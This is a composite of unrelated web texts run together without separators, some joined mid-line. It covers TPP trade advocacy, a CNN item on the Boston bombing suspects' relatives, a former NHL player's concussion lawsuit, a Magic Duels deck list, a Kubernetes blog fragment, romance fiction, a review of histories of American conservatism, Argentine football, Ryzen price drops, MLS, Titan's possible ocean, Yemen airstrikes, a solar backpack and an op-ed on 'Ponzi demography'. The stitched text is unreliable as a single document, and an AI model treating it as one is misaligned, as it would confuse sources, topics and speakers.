"The administration knows that the TPP will have trouble in Congress, but turning a blind eye to Malaysia’s grave human rights violations in order to include Malaysia in the pact because it’s one of the few TPP countries we don’t already have a trade deal with and keeping the TPP on Fast Track so Congress’ oversight is limited is shameful. If the Obama administration is willing to ignore people-smuggling camps in Malaysia, why should we believe it would not also ignore TPP member Brunei’s criminalization of homosexuality, TPP member Vietnam’s widespread child labor or TPP member Peru’s rollback of environmental protections?"
Citizens Trade Campaign is asking people to sign on to this action: "Speak out now against any attempt to gloss over human trafficking in TPP countries."
And from Public Citizen: "Sign the Pledge to Fight the TPP"
----
This post originally appeared at Campaign for America's Future (CAF) at their Blog for OurFuture. I am a Fellow with CAF. Sign up here for the CAF daily summary and/or for the Progress Breakfast.(CNN)-
Anzor Tsarnayev — father of Boston bombings suspects Dzhokar Tsarnaev and Tamerlan Tsarnaev — who earlier told Russian national TV network Zvezda that he believed his sons were “framed” tells CNN from Dagestan that he was questioned Friday by Russian security services and then released.
The uncle of the Tsarnaev brothers tells reporters that he is “ashamed” to be related to the suspects, whom he calls “losers.” Speaking outside of his Montgomery County, Maryland, home, Ruslan Tsarni says that his nephew Dzhokhar Tsarnaev “has put a shame on our family, a shame on the entire ethnicity” and should turn himself in.”
Meanwhile, law enforcement swarmed the University of Massachusetts-Dartmouth campus Friday afternoon, where Dzhokhar Tsarnaev was an enrolled student.
The-CNN-Wire/Atlanta/+1-404-827-WIRE(9473)
™ & © 2013 Cable News Network, Inc., a Time Warner Company. All rights reserved.WILLIAMSVILLE, N.Y. -- You know Mike Robitaille as a former Sabres player and broadcaster. His professional career began in 1969 and included stops here, in New York with the Rangers, time with the Detroit Red Wings, and Vancouver Canucks.
Robitaille, 67, is now retired from his most recent role as part of the Sabres broadcast team. He sat down with 2 On Your Side’s Kelly Dudzik to talk about pain he says is related to his time on the ice and his new fight against the National Hockey League.
"I'd love to grab my grandkids and throw them up in the air, and I can't do it," says Robitaille.
Robitaille says he still suffers from brain and spinal cord injuries related to hits he took while playing in the NHL.
"Was there any talk about concussions or head injuries when you first got in, or was it something that you knew was happening, knew would happen to you, and no one discussed it?" asked Dudzik.
"The problem is you knew there might be some injuries, but you didn't know. Like the part of the deal you didn't know was you're not going to take care of us. I mean, we didn't mind taking bumps and bruises, but you are going to take care of us. And that's, that's the issue," says Robitaille.
He also says he frequently played hurt, citing one stretch of games he played with a broken neck.
"At any point did they say we have to get you to the team doctor? Was there just one team doctor and whatever he said or she said went or were you allowed to seek out your own neurologist?" asked Dudzik.
"You said a team doctor. That's an interesting word. Team doctor. We, there was no, Mike didn't have a doctor. You had a team doctor. Team doctor worked for the team. And that's where his interests and he had a, you know, always, there was always a bias for the team. Not for the player, and to play at all costs," said Robitaille.
Robitaille's career ended abruptly in 1977 after suffering a head injury that he says left him unable to use his hands and barely able to speak. The night he was hurt, Robitaille says the team doctor for the Vancouver Canucks simply told his wife to take him home.
"She asked the doctor what was wrong with Michael, and he said he'll be fine. Just give him a shot of Courvoisier. He'll be fine in the morning. And that was my medical support at that point in time. So that turned into a lawsuit," Robitaille explained.
It was a lawsuit Robitaille won. The Canucks were ordered to pay him $435,000 for negligence.
He appeared on the CBC's "the fifth estate" in 1981 to talk about his victory, and explained why, for him, it's bittersweet.
"You know after all this time, Eric, you'd think one simple phone call I could pick that phone up and have somebody from that hockey club say how are you? You know, admit they're wrong," said Robitaille in the 1981 interview.
Knowing about his victory, several former players contacted Robitaille about joining them in their current lawsuit. They are seeking damages for injuries related to head trauma and its after-effects. Robitaille agreed to join the more than one-hundred former NHL players involved.
"I am going to put my heart and soul in this and what are they going to do to me? I'm 67 years old. The days of intimidating me are over with," said Robitaille.
The NHL's Executive Vice President of Communications did not respond to our request for comment about the lawsuit.
Robitaille wouldn't talk specifics about money, but he told us his involvement isn't about money, rather it’s about making sure the NHL cares for its players after they leave the game.arashii-san / posted on 25 July 2016
Wanna combo out your opponent by spawning a horde of zombies in Magic Duels? Look no further than this EMN deck!
Creature (25)
2x Advanced Stitchwing
2x Cryptbreaker
2x Diregraf Colossus
2x Fleshbag Marauder
2x Forgotten Creation
1x Gisa and Geralf
3x Haunted Dead
1x Jace, Vryn’s Prodigy
1x Kalitas, Traitor of Ghet
1x Liliana, Heretical Healer
3x Liliana’s Elite
2x Prized Amalgam
3x Screeching Skaab
Sorcery (6)
2x Dark Salvation
2x Languish
2x Nagging Thoughts
Instant (5)
3x Grasp of Darkness
2x Murder
Planeswalker (1)
1x Liliana, the Last Hope
Land (23)
2x Drowned Catacomb
6x Island
2x Rogue’s Passage
2x Sunken Hollow
9x Swamp
2x Westvale Abbey
http://tappedout.net |
that I didn’t need to care about at all (I still don’t know how that works)
kubernetes is pretty good to work with so far
Kubernetes is a really complicated piece of software! To get a cluster working at all, you need to set up at least 6 different components (api server, scheduler, controller manager, container networking thing like flannel, kube-proxy, the kubelet). And so (if you care about understanding the software you run, which I very much do), I have to understand what all of those components do and how they interact with each other and how to set each of their 50 bajillion configuration operations in order to accomplish what I want.
But so far the documentation is pretty good, when there are things that aren’t documented the code is pretty easy to read, and they seem really willing to review pull requests.
I’ve definitely had to practice “read the documentation and if it’s not there read the code” more than usual. But that’s a good skill to get better at anyway!The pregnancy was hard on me. I was sick quite a lot, but Cassie was always either outside the door or with me rubbing my back. I didn’t believe I was pregnant until I started showing. I felt like I could cry for days. I was supposed to be trying to get promoted in my job. I’d just started! Would they fire me? I rang and they assured me that while they weren’t happy with the situation, and they would be looking for other people to take my place, that I could come back to work when the baby was old enough.
But that wasn’t enough. I told them I could do office work at home for them. I needed the money. Cassie was doing really well with her writing, but I didn’t want her to be the only earner in the house. This wasn’t her fault. Daydreamer had done very well, and she was writing books about sports now. Her dad was a manager so she knew the business well.
I knew that I had the option to end the pregnancy, but I couldn’t do it. This was my responsibility. With or without the father by my side.
But life surprised me again. I got a phone call one evening while I was watching television.
“Hello?” I said.
“Uh, Jenna?”
I sat up straight on the couch.
“Bernie?”
I couldn’t believe it.
“Yeah, it’s me.” I heard him chuckle over the phone, and felt it vibrate through me. The warm tingly feelings I felt that first night didn’t seem to be a one time deal.
“Bernie, what happened? Where are you?” I asked.
“Hidden Springs.” He said. He didn’t seem to happy about it. “I had to go back home. I’m not from Lucky Palms. My name is Lord Bernardo Roby. I went to Lucky Palms for a weekend away with my friends five years ago. I was followed by a witch who wanted to hold me for ransom against my parents. She changed me into a frog, but she lost me. I fell into the wishing well, and then the next thing i remember, you were kissing me. You saved me Jenna.”
“I don’t…I don’t understand” I told him.
“There are some things in life that we cannot always understand.”
I felt like crying.
“Jenna? Are you still there?” He asked.
“Bernie, I’m pregnant.” I blurted out.
There was silence down the line. I was silent too. We both had a lot to think about.
“I’ll be over tomorrow, honey.” He told me, quietly.
He hung up the phone.
I had troubles sleeping that night. In the morning, I woke up and came downstairs to find Bernie already there, sitting with Cassie. He got up when he saw me, came over, and kissed me, hard.
I melted in his arms.
We went outside to talk. He looked nervous. He took my hands in his.
“Jenna, I can’t stay here.” He said.
“W-what?” I stammered.
He rubbed a hand down his face. I only noticed now how tired he looked. He had day old stubble and dark circles under his eyes.
“There must always be a Roby in Hidden Springs.” He said. “It’s a curse. As first born, I have to marry someone in my town and carry on the family name.”
“But…I’m pregnant. Why can’t you-“
“Jenna, it has to be someone from my town. I hate this. I hate it, I really do, but if I don’t do this, horrible things could happen to my family. I have a sister, but this isn’t her problem. It’s mine.”
I felt like my heart could break. I barely knew him, but my heart was breaking.
“You saved me from being a frog.” He said, tilting my chin up. “And if I could do anything to be here with you then i would. But I love my sister, and I can’t be selfish. Not with this. I’m so sorry.”
He kissed me deeply, and I fell against him.
“I love you.” I whispered to him.
“I love you, too.” He told me.
He kissed me one last time, and then walked away.
Back to his life in Hidden Springs.
The days merged into one, and before I knew it, my babies were here.
Bree and Darcy McKay. Twins. Red hair and green eyes. All me. But they had Bernie’s lips.
Bernie called every night. We didn’t say anything about his life. It was just us. Just us. We laughed and cried. We whispered words of love and longing to each other and tried to block out the feelings of hopelessness that we were both feeling. I kissed the girls goodnight from him, and cried every time I hung up the phone and retreated back to my empty bed.
They grew into beautiful toddlers.
I tried to date.
I couldn’t forget about him.
I was hopelessly, desperately in love with him.
And there was nothing I could do.
AdvertisementsInvisible Hands: The Making of the Conservative Movement from the New Deal to Reagan, by Kim Phillips-Fein, New York: W.W. Norton, 368 pages, $26.95
The Conservative Century: From Reaction to Revolution, by Gregory L. Schneider, Lanham, Md.: Rowan & Littlefield, 264 pages, $39.95
In Invisible Hands, the New York University historian Kim Phillips-Fein recounts a group of businessmen’s efforts to push pro-market ideas. At one point she describes a document, the “Powell Memo,” that is now notorious among those who posit a vast, successful right-wing conspiracy to institute rapacious laissez faire: a 1971 Chamber of Commerce report, written by future Supreme Court Justice Lewis Powell, suggesting conservatives launch a concerted attempt to influence the universities, media, and courts in an ostensibly free-market direction. One of the closest of Powell’s friends, a man he especially wished to convert, was the general counsel of General Motors.
Since then, GM has continued to advocate trade barriers. And today,in the era of the “new New Deal,” we see it at the forefront of ensuring that all the rest of us are on the hook to ensure the company can navigate the rough waters of the “free market.”
The lesson, not fully internalized by Phillips-Fein, is that free-market advocacy is not the success that books like hers crack it up to be. For conservatives and activists who have linked their lives, reputations and fortunes to the Republican Party, it’s a time of reappraisal, retrenchment, and recrimination. Just six years ago, their team controlled the executive branch, both houses of Congress, and a majority of gubernatorial seats. Since then the party has fallen dizzily, weighed down by an unpopular war, a deadly hurricane, and a deepening recession. Republicans have lost control of the White House and Capitol Hill, and now hold just 22 governorships.
What’s particularly galling to true believers is that the candidate who knocked them off their perch, Barack Obama, is a man they labeled the most socialist, culturally liberal, and downright un-American foe they’ve faced since George McGovern. With the choice of Alaska Gov. Sarah Palin for vice president—a decision that seemed at first madcap, then inspired, and now highly contentious—conservatives appeared to have rallied their troops by election eve 2008. And still they were smacked down mercilessly at the polls. Neither experience nor war nor patriotism nor taxes nor immigration nor values nor populism could seal the deal for party nominee John McCain. The GOP, and by extension conservatism, now seems thoroughly repudiated.
That conclusion, too, would be shortsighted. With varying degrees of severity, Republicans have looked like they were stranded in the wilderness several times during the last few decades. In the 1964 election, Barry Goldwater got drubbed and Democrats won control of more than two-thirds of both houses of Congress. The Republican Party could not have—and hasn’t since—looked more dead. Yet the GOP managed to hold the White House for 28 of the next 44 years.
Republicans seemed dead three decades ago as well, with President Jimmy Carter managing our national disco party and the Democrats enjoying a 119-seat lead in the House and 17-seat lead in the Senate. Two years later came the Reagan landslide.
Two new histories of the American right, Phillips-Fein’s Invisible Hands and Gregory L. Schneider’s The Conservative Century, should help Republicans and conservatives assess their current predicament in calmer terms. But the books also inadvertently indicate that in many ways the right has been doomed all along. The GOP will have a future after the age of Obama, but not because of the allegedly eternal liveliness of conservative ideas. The less comforting truth is that the right has shown an amazing ability to fool almost everyone, from average voters to academic historians like Schneider and Phillips-Fein, into believing that the conservative movement has won key victories and substantially achieved its most important goals.
In a little more than a decade, the field of conservative history has gone from neglected to overcrowded—especially given how often the books tell more or less the same story: Anti-FDR (and sometimes anti-Semitic) kooks in the fever swamps of opposition to the peaceful postwar liberal ideological consensus are tamed by the elegant but infuriating William F. Buckley, whose cleaned-up and intellectual coalition of ex- and anti-communists begets Goldwater, who fails to win the White House but succeeds in being Barry the Baptist for the Reagan-Christ, who with the help of such props as ’60s cultural madness, stagflation, and Jerry Falwell brings sweet redemption for this questionable but still vital set of ideas, whose reign, cheered or regretted, continues apace under both Democrats and Republicans as welfare is reformed, communism collapses, and further wars are waged. You can find that basic story, sometimes admiring and sometimes slightly scolding, in texts ranging from Lee Edwards’ The Conservative Revolution (1999) to Jonathan Schoenwald’s A Time for Choosing (2001) to John Micklethwait and Adrian Wooldridge’s The Right Nation (2004).
These two new contributions offer fresh perspectives on the narrative. Schneider is a historian at Emporia State University and the author of Cadres for Conservatism, a fine 1998 study of Young Americans for Freedom and the conservative strain in ’60s student activism. In The Conservative Century, he shows that the positions held dear by the self-defined conservative movement have not in fact been conserved. Rather, they have been shifted and adjusted to changing circumstances, as an electoral—as opposed to philosophical—tendency must shift.
Schneider is accurate enough in identifying what most self-conscious conservative intellectuals and activists have embraced from the mid-’50s on: muscular foreign policy and aggressive nationalism (against first the commies, now the Islamofascists), traditional Christian values (as they are understood at any point in time), and at least lip service to free markets as opposed to government economic engineering.
Schneider starts with the pre-Buckley right of forgotten journalists and literary figures such as Albert Jay Nock, Ralph Cram, Seward Collins, Paul Elmer More, and the Southern Agrarians. (If the figures he discusses held social attitudes that moderns would find unforgivable, such as belief that blacks could never be whites’ intellectual equal, he makes sure to let you know, even if those attitudes had nothing to do with their core political beliefs.) Schneider then shows that when William Buckley, a young Yale and CIA man on the make, tried to forge a viable postwar political coalition out of the various strains of conservatism (something few of the pre-war figures gave a fig about), some of the more unsightly Old Right ideas were bleached from the conservative cloth. Among them: distrust of the leveling and centralizing powers of unchecked mass democracy and forthright opposition to everything about the welfare/warfare state launched by Franklin Roosevelt. The Buckley coalition was an eternally uneasy and shifting amalgam of traditionalism, constitutionalism, libertarianism, and a bloody-minded enmity toward international communism.
Schneider, who manages to keep a poker face when it comes to revealing his own politics, does a spirited job of walking through the standard post-Buckley history, but with a careful emphasis on what was new about its traditionalism, what was tossed away in its conservatism, what was statist in its supposed defenses of liberty. We see the intellectual movement adjust to the political realities of abortion, to the death of the “state’s rights” approach to civil rights, to the acceptance of an entitlement state that might be adjustable on the margins but won’t go away, and to any advance in state spending and even thought control (the right-wing youth movement was born in a campaign for loyalty oaths) in the name of fighting communism.
Schneider might not agree, but the lesson that comes through most clearly is this: War is the health of the state and the death of a principled movement supposedly dedicated to keeping the state limited. From the Cold War to the Iraq war, conservatives—and certainly Republicans—have sacrificed liberty in the name of national security.
Phillips-Fein’s focus is more specialized and fresh. Rather than the standard Old Right/BuckleyGoldwater/New Right/Reagan progression, Invisible Hands focuses on the businessmen and financiers who either bankrolled or pursued right-wing ideas in the worlds of advocacy and commerce.
The book starts with entertaining summations of some figures and organizations that have been ignored by most histories. They include Leonard Read, founder of the Foundation for Economic Education; his mentor, W.C. Mullendore of Southern California Edison; and their associates, the curious crew who ran the Christian libertarian advocacy group Spiritual Mobilization. (These and other figures are treated at length in my own Radicals for Capitalism: A Freewheeling History of the Modern American Libertarian Movement.) Spiritual Mobilization fell apart, among other reasons, because of some of its leaders’ fascination with Eastern mysticism and psychedelics. (This was in the hung-up 1950s, mind you.) Phillips-Fein also does a good job of relating some of the entertaining conflicts between American businessmen and European academics in the firstdecade of the libertarian Mont Pelerin Society.
There’s a reason most books about the right don’t recount these tales, or at least not in great detail: The intellectual and political tradition they represented was modern libertarianism, not modern conservatism. Phillips-Fein elides this point by telling a story about conservatism that pretty much ignores what became its constitutive aspect: foreign policy and the Cold War, which is the battleground on which the nascent libertarian and conservative movements fought and eventually separated.Independiente‘s season long struggle was finally put to an end today after losing 1-0 in Avellaneda to San Lorenzo. The Buenos Aires giants have been on life support for some time now and Angel Correa’s second half goal and results elsewhere saw it stitched off. For the first time in their illustrious history Independiente will be playing outside the top flight leaving Boca Juniors as the only side not to experience this fate. Even if El Rojo had managed the home win the fans so desperately wanted, results went against them. San Martin de San Juan continued their remarkable return from the death. A 2-0 win over Estudiantes was their fourth consecutive win and now lifts them out of the relegation zone ahead of the final weekend. With San Martin’s victory Argentinos Juniors dropped into the bottom 3 despite winning 1-0 at home to Colon. With two places now confirmed it is an increasingly complicated situation to see who will accompany them. Quilmes and Atletico Rafaela still have 2 games to save themselves but with 4 teams still in contention it will be an exciting final weekend! SEE ALL THE GOALS AND READ MORE ABOUT THE RELEGATION SITUATION….
INDEPENDIENTE 0 – 1 SAN LORENZO
A pretty toothless performance from Independiente once again highlighted just why they are in this situation. Devoid of many ideas it was Angel Correa’s goal on the hour mark that was the only incisive moment of the game. A fine curled finish from the edge of the area punishing poor Independiente defending and putting an end to any hopes of survival. With San Martin and Argentinos Juniors both winning at the time it didn’t matter too much and so history was made and the tears flowed.
SAN MARTIN 2 – 0 ESTUDIANTES
A couple of months ago San Martin appeared lifeless and now after their fourth consecutive win they are out of the drop zone with their fate in their own hands. A deserved win over Estudiantes, a side who have not conceded in their past 6 games is proof of their resurgence. Estudiantes keeper, Geronimo Rulli helped them on their way with his failure to keep out Jorge Luna’s scuffed strike from distance. Sebastian Penco made sure of the victory by adding the second 10 minutes from time and they will be feeling confident ahead of the final day shootout.
ARGENTINOS JUNIORS 1 – 0 COLON
Argentinos too kept their hopes alive with a tight victory over Colon. Mad manager, Caruso Lombardi was sent off early after complaining about a foul, and possibly a penalty not given. Lombardi had, earlier in the week, suggested that San Lorenzo wouldn’t be too bothered in their game with Independiente, which in itself is slightly odd given Independiente’s result mattered very little. In his absence his side went onto win through Anangono Leon’s faint header.
And so far with one space left to fill to join Union and Independiente in Nacional B what is the situation?
Simply if either Argentinos or San Martin better the others result then they stay up. But in the event that they achieve the same result then the situation looks a lot more complicated. If they both win, it’s San Martin who survive, if they both draw a playoff will decide their fates and if they both lose then Argentinos will survive. Plus factor in that both Quilmes and Atletico Rafaela require at least a point from their two games.
Next weekend should be very interesting, especially if the title race is also still undecided, as Argentinos face Newell’s and San Martin play River Plate.
AdvertisementsThere is something going on, at the time of writing I can only speak for the EU and specifically Netherlands and Germany right now, but there have been price drops spotted on AMD Ryzen processors up-to 30%, Example, you can purchase an 8-core flagship Ryzen 7 1800X processor (normally €499) for roughly €340 euros.
The news reaches us through our Dutch colleagues at HWI, who had a couple of users notice it. They checked some Dutch and Germany based etailers. I took the search results towards Geizehals as well and noticed even lower prices. If this applies to your region, now might be a great time to purchase something Ryzen. The price drop seems to have an effect on the entire range. The below table courtesy to HWI shows the prices based on the Netherlands, however, if you browse for a 1800X at Geizhals, be surprised. €249 for 16 threads? €199 for 12 threads :-)
Maybe this is gearing up towards Black Friday sales? It'll be interesting to see if other EU etailers will follow soon, but something is brewing alright:
Ryzen 7 Ryzen 5 Threadripper 1800X 1700X 1700 1600X 1600 1500X 1950X 1920X 1900X Recommended retail price $ 499 $ 399 $ 329 $ 249 $ 219 $ 189 $ 999 $ 799 $549 Average price € 479 € 369 € 317 € 249 € 216 € 191 € 1021 € 809 € 549 Cheapest price € 340 € 290 € 249 € 214 € 199 € 169 € 830 € 670 € 470 Discount 29% 21% 21% 14% 8% 12% 19% 17% 14%
Update: we have received reports from the Nordics and the UK that the price drops are in effect there as well. USA Newegg is also showing lower prices. And a report from Australia just came in as well, this is a worldwide price drop. We asked, but AMD has no comments currently on what we are seeing.The first half of the Major League Soccer season has brought plenty of excitement.
There hasn't been a game this season anyone has been able to predict with any reliability, making nearly every game a must-watch. And some of the league's marquee players are living up to the hype.
Orlando City's Kaká has scored in six of his past eight games and is beginning to look more like the player everyone thought he could be in this league. Not coincidentally, the Lions are 6-1-2 during that span.
New York City FC's David Villa has four goals and an assist in his last five league games, with NYCFC rebounding from an awful start to go 3-1-1 in that span.
Toronto FC's Sebastian Giovinco is the league's halfway MVP. The Italian is third in the league in both goals (8) and assists (7) and appears to be the catalyst that will finally get Toronto to the playoffs.
Orlando City coach Adrian Heath reacts to his team’s 2-0 win over Columbus Crew in U.S. Open Cup game in Orlando on Tuesday, June 30. Orlando City coach Adrian Heath reacts to his team’s 2-0 win over Columbus Crew in U.S. Open Cup game in Orlando on Tuesday, June 30. SEE MORE VIDEOS
None of those players lead the league in any category — Columbus' Kei Kamara leads in goals (12), while his teammates Ethan Finlay leads in assists (10). And the likes of Octavio Rivero, Clint Dempsey, Chris Wondolowski and Fabian Castillo are all providing plenty of fireworks.
Stephen M. Dowell / Orlando Sentinel Orlando player Sebastian Hines (left) and Columbus player Aaron Schoenfeld (right) collide during the Columbus Crew at Orlando City Soccer soccer game at the Orlando Citrus Bowl on Saturday, June 30, 2015. Schoenfeld was issued a yellow card on the play. (Stephen M. Dowell/Orlando Sentinel) Orlando player Sebastian Hines (left) and Columbus player Aaron Schoenfeld (right) collide during the Columbus Crew at Orlando City Soccer soccer game at the Orlando Citrus Bowl on Saturday, June 30, 2015. Schoenfeld was issued a yellow card on the play. (Stephen M. Dowell/Orlando Sentinel) (Stephen M. Dowell / Orlando Sentinel)
Sporting KC's Benny Feilhaber is a close second in the MVP race, with nine assists to go along with five goals for a Sporting team that sits third in the league in points per game.
But here's where things get crazy. The second half of the season could be a completely different look for MLS.
Three of the world's biggest stars are jumping into the fray this month. Former Chelsea and Juventus greats Frank Lampard and Andrea Pirlo are joining NYCFC, while Liverpool icon Steven Gerrard will play for L.A. Galaxy. All three are game-changing, league-altering players who have competed on the world's biggest stages and won some of the most important trophies in soccer.
All three sell jerseys. All three fill stadiums. All three should immediately prove to be among the best players in MLS.
That doesn't even include a potential change to MLS player acquisition rules that could lead to the signing of Mexican stars Giovani Dos Santos, who has been linked to the Galaxy, and Javier "Chicharito" Hernandez, who could wind up right here in Orlando.
MLS is a growing league, so much so that even in the midst of a season the league can up its star status significantly and reinforce its aspirations to become one of the top leagues in the world. If the first half of the season was about how far the league has come in 20 years, the second half is about where it wants to go in the next decade.
It's going to take time — signing players like Lampard (37) and Pirlo (36), have short-term, not necessarily long-term impact — but this is more about the league's owners showing a commitment to spend on a grander scale.
Of course, that commitment can't have tunnel-vision, focusing solely on aging European stars.
The spending must include the infrastructure of MLS academies and USL affiliates, which will provide the future American stars. And it especially must include paying the bright, young American stars like Bill Hamid, Wil Trapp, Jose Villareal, Gyasi Zardes, Dillon Powers and Luis Gil.
Yes, an exciting second half to 2015 is just starting, but if MLS makes the right steps, it could be an even bigger second half to the decade.
MLS power rankings
While D.C. United has put some good distance between itself and every other team in the East, the West remains a wide-open race and everyone else in the East probably still feels it has a shot at the playoffs.
Check out the latest Winter Park MLS Coffee Club rankings:
•1. Vancouver Whitecaps – 10-6-2 – (Last week: 2): The Whitecaps have won four of five and will have a good chance to make it five of six against Colorado on Saturday.
•2. D.C. United – 10-5-5 – (Last week: 3): D.C. bounced back after a couple losses to pull four points in two road games, including a draw against a hot Toronto FC team.
•3. Sporting Kansas City – 7-3-6 – (Last week: 4): Ranked third in the league in points per game, Sporting is a team with a lot of quality and potential to make a big run at the top of the table.
•4. Seattle Sounders – 9-7-2 – (Last week: 1): Playing without the core trio of its team, the Sounders have hardly looked like themselves of late and need to find a way to rebound.
•5. Portland Timbers – 8-6-4 – (Last week: 6): An impressive performance in a win over Seattle erased the pain of an ugly 5-0 loss to the Galaxy.
•6. L.A. Galaxy – 7-6-7 – (Last week: 5): Yes, the Galaxy just crushed the team above them, but the team followed it with a 3-1 loss and haven't been consistent enough all year.
•7. Toronto FC – 7-6-2 – (Last week: 7): This is my sneaky pick to emerge out of the East and play for an MLS Cup this season. Toronto is putting things together more and more each week.
•8. FC Dallas – 6-5-5 – (Last week: 9): Dallas is still incredibly dangerous and has the potential to beat any team in the league.By Helen Briggs
Science reporter, BBC News
Future observations by Cassini will help test the prediction
Radar images from the Cassini-Huygens mission reinforce predictions that a reservoir of liquid water exists beneath the thick crust of ice.
If confirmed, it would mean that Titan has two of the key components for life - water and organic molecules.
Currently, three other Solar System objects are suspected of having deep oceans: Ganymede, Callisto and Europa.
The Cassini-Huygens mission is a cooperative project of the US space agency (Nasa), the European Space Agency (Esa) and the Italian Space Agency (Asi).
We've got to go back again with balloons and rovers and really understand this place
Prof John Zarnecki
When Cassini began to observe the largest of Saturn's moons in 2004, the surface was thought to be completely covered with an ocean of hydrocarbons.
But when the spacecraft turned its radar on the moon for the first time in 2004, and the Huygens probe parachuted to the surface a year later, a different picture emerged.
Much of the surface was found to be solid, with geological features such as dunes, channels and impact craters, punctuated by vast "lakes".
Cassini's latest fly-by of Titan is providing a new glimpse of these features, which to researchers' surprise, are not in the place they should be.
Scientists would like to send an instrumented balloon to Titan
Coupled with models of how the moon spins, the data suggests that the observed seasonal variation in spin rate could only exist if a liquid ocean lay beneath the solid crust.
The researchers, led by Dr Ralph Lorenz of Johns Hopkins University Applied Physics Laboratory, US, say their predictions can be checked in the proposed extended Cassini mission or in future missions.
John Zarnecki, Professor of Space Science, at the UK's Open University, who was not part of the study, said the motivation to go back to Titan with a more sophisticated space probe was "overwhelming".
Evidence suggests that Titan has two of the key constituents for the formation of life - water and organic molecules, and possibly a third - a source of energy, he said.
Prof Zarnecki told BBC News: "We know there are organic molecules, the place is swarming in organics.
Titan: The second largest moon in the Solar System
"Titan is 50% water-ice. If it is liquid, as this paper is implying some of it is, it looks as though we've got at least two of the things to initiate the chemistry that leads to life.
"It wouldn't be too far fetched to imagine certain spots on Titan where there would be a source of energy - maybe geothermal energy, as we have on Earth at the bottom of the oceans."
Titan is the second largest moon in the Solar System; only Jupiter's Ganymede satellite is bigger.
Past observations have shown that Titan in many ways resembles a very early Earth, particularly in the composition of its atmosphere. The major difference is the frigid temperatures out near Saturn.
Prof Zarnecki added: "We've got to go back again with balloons and rovers and really understand this place."DUBAI (Reuters) - A Saudi-led coalition fighting in Yemen regrets civilian deaths, which it says are unintentional, and is improving its targeting mechanisms with Western help, the alliance said on Sunday.
Smoke billows from a site hit by Saudi-led air strikes in Yemen's capital Sanaa January 30, 2016. REUTERS/Khaled Abdullah
The coalition “greatly regrets civilian casualties in Yemen”, it said in a statement posted by Saudi Arabia’s mission to the United Nations on its Twitter page.
A U.N. report seen by Reuters on Wednesday said the Saudi-led coalition has targeted civilians in Yemen, documenting 119 sorties it said related to violations of international humanitarian law.
“The Arab coalition announces the formation of a high-level independent committee... to evaluate the events, identification and targeting mechanisms and developing them,” the Saudi mission’s statement said.
In March, the Saudi-led alliance began a military campaign in Yemen to prevent Houthi fighters, whom it sees as a proxy for Iran, from taking complete control of Yemen after seizing much of the north.
The Houthis deny any backing from Tehran and accuse the coalition of launching a war of aggression.
Around 6,000 people, about half of them civilians according to the United Nations, have been killed in fighting and air strikes since the intervention began.
In a news conference in Riyadh on Sunday, Saudi coalition spokesman Brigadier General Ahmed Asseri acknowledged mistakes in air operations in Yemen, but mostly defended the alliance’s record while noting that its Western allies were helping to improve their performance.
“Experts from the United States... (will) work on extensive reports and develop operating mechanisms, together with the British side,” Asseri said, adding that the advisers held a workshop in recent days at the coalition headquarters.
Asseri said the coalition was responsible for the bombing of a Medecins Sans Frontieres (MSF) hospital in northern Yemen on Oct. 27 which it had denied at the time, explaining to reporters that planes had targeted Houthi fighters near the facility.In the market for a solar backpack? Consider the new Solar Backpack from Eclipse Solar Gear of Round Rock, Texas: made in the good old U.S. of A., these bags are built to military specifications and look pretty tough (especially in Camo, pictured below).
This bag is constructed of Cordura nylon, and “mil. spec.” webbing, zippers and buckles–so you know it isn’t likely to shred at the first contact with the pavement, say, and will hold up under regular daily use. It also features an integrated thin film solar panel that provides up to 4 watts of power to recharge your mobile devices on the go.
When the sun is shining, the bag charges its internal battery, so when you need more juice for your cell or other mobile device, you can simply hook it up to your bag via a 12V auto adapter or USB, day or night, and recharge.
At $159.00, the Eclipse Solar Backpack is still a bit of an investment, but pocket chage compared to Ralph Lauren’s version (and will probably hold up a lot longer, too).Bernie Madoff’s recent Ponzi scheme has drifted out of the world's headlines. However, there is another even more costly and widespread scheme — “Ponzi Demography” — that warrants everybody's attention.
While it may come in many guises, Ponzi demography is essentially a pyramid scheme that attempts to make more money for some by adding on more and more people through population growth.
While more visible in industrialized economies, particularly in Australia, Canada and the United States, Ponzi demography also operates in developing countries. The underlying strategy of Ponzi demography is to privatize the profits and socialize the costs incurred from increased population growth.
The basic pitch of those promoting Ponzi demography is straightforward and intoxicating in its pro-population growth appeal: "more is better." However, as somebody who has spent a lifelong career as a demographer, including 12 years of service as the director of the United Nations Population Division, I find that more is not necessarily better.
As has been noted by Nobel laureate economists Joseph Stiglitz and Amartya Sen as well as many others, current economic yardsticks such as gross domestic product (GDP) focus on material consumption and do not include quality-of-life factors.
Standard measures of GDP do not reflect, for example, the degradation of the environment, the depreciation of natural resources or declines in individuals' quality of life.
According to Ponzi demography, population growth — through natural increase and immigration — means more people leading to increased demands for goods and services, more material consumption, more borrowing, more on credit and of course more profits. Everything seems fantastic for a while — but like all Ponzi schemes, Ponzi demography is unsustainable.
When the bubble eventually bursts and the economy sours, the scheme spirals downward with higher unemployment, depressed wages, falling incomes, more people sinking into debt, more homeless families — and more men, women and children on public assistance.
That is the stage when the advocates of Ponzi demography — notably enterprises in construction, manufacturing, finance, agriculture and food processing — consolidate their excess profits and gains. That leaves the general public to pick up the tab for the mounting costs from increased population growth (e.g., education, health, housing and basic public services).
Among its primary tactics, Ponzi demography exploits the fear of population decline and aging. Without a young and growing population, we are forewarned of becoming a nation facing financial ruin and a loss of national power.
Due to population aging, government-run pensions and healthcare systems will become increasingly insolvent, according to advocates of Ponzi demography, thereby crippling the economy, undermining societal well-being and threatening national security.
Low birth rates, especially those below replacement levels, are considered a matter of national concern. Without higher fertility rates and the resulting population growth, the nation, it is claimed, faces a bleak and dreary future.
So Ponzi demography calls for pro-natalist policies and programs to encourage couples to marry and to have more children, which will lead to the promised sustained economic growth.
In addition to financial incentives and other benefits for childbearing, appeals are also made to one’s patriotic duty to have children in order to replenish and expand the homeland: "Have one (child) for mum, one for dad and one for the country."
In addition to measures to increase fertility levels, Ponzi demography also turns to immigration for additional population growth in order to boost companies’ profits. The standard slogan in this instance is "the country urgently needs increased immigration," even when immigration may already be at record levels and unemployment rates are high.
Among other things, increased immigration, it is declared, is a matter of national security, long-term prosperity and international competitiveness. Without this needed immigration, Ponzi demography warns that the country's future is at serious risk.
Another basic tactic of Ponzi demography is a pervasive and unrelenting public relations campaign promoting the advantages and necessity of an increasing population for continued economic growth. Every effort is made to equate population growth with economic prosperity and national progress.
“Economic growth requires population growth” is the basic message that Ponzi demography wants the public to swallow. No mention is made of the additional profits they reap and the extra costs the public bears.
